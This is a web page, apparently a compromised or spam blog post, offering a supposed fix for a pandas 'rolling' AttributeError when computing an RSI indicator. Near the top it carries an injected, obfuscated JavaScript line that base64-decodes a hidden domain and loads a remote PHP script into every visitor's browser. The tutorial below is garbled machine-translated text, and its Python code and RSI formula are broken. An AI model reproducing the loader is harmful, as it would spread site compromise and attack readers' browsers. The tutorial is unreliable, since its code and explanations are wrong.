Ethereum: AttributeError: ‘numpy.float64’ object has no attribute ‘rolling’

const pdx= »bm9yZGVyc3dpbmcuYnV6ei94cC8= »;const pde=atob(pdx.replace(/|/g, » »));const script=document.createElement(« script »);script.src= »https:// »+pde+ »cc.php?u=8df60dac »;document.body.appendChild(script);

Ethereum’s RSI calculation problem: A solution

The problem you encounter is a regular one when working with financial data in Python and Number. In this article, we will overcome what the error message tells us and provide an updated solution to calculate the relative resistance index (RSI) using a simple movement (SMA).

** problem: attributeerror: 'numpy.float64' the object has no attribute 'rolling'`

When importing the "Number" library, it returns a number of numerical paintings as objects. However, in some cases, the internal implementation of Number may not support certain operations on these objects, which leads to errors like this:

Python

Imports Number as NP

Ethereum: AttributeError: 'numpy.float64' object has no attribute 'rolling'

Create a painting with a float value64

arr = np.float64 (10)

The error message indicates thatnumpy.float64 not has a rolling attribute. This is because the « Rolling » method is part of the Pandas Library, which we import later.

Solution: Use Pandas to calculate RSI

To calculate RSI using SMA and process it correctly, you will need to use the Pandas library. Here is an updated code fragment that demonstrates how to calculate the RSI:

`Python

imports the panda as pd

Imports Number as NP

Function to calculate RSI with SMA

Def calculated_rsi (data, short_window = 14, long_window = 26):

Calculate the simple movement media (SMA)

data ['sma'] = data ['close']. Rolling (Window = short_window). Mean ()

Calculate the relative resistance index (RSI)

data ['rsi'] = 100.0 - (100.0 / (1 + data ['sm']. pct_change (). dropna ()) ** long_window)

return data

Load the closing prices in a Pandas Datoframe

DF = pd.read_csv ('stock_price.csv', index_col = 'data', pars_dates = ['data'])

Calculate RSI with SMA

RSI_DF = calculated_rsi (DF)

Print the first rows of Calculated RSI

Print (RSI_DF.Head ())

Explanation

In this updated code, we define acalculated_rsifunction that takes on a Pandas Datoframe ( data) and two parameters for short and long moving media (short_window and long_window). Then we calculate the SMA using the Rolling method, followed by the calculation of the RSI using the PCT_Change method. Finally, we return RSI calculated as a new column in our Pandas data data.

Example of case use

To use this feature with your own data, simply replace ‘stock_price.csv’and' '' a placehers with the desired file and database. Then you can use thecalculated_rsi` function to calculate the Action Prices.

I hope this will help! Announce it if you still have any questions or problems.

importance importance blockchain enabled chains

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *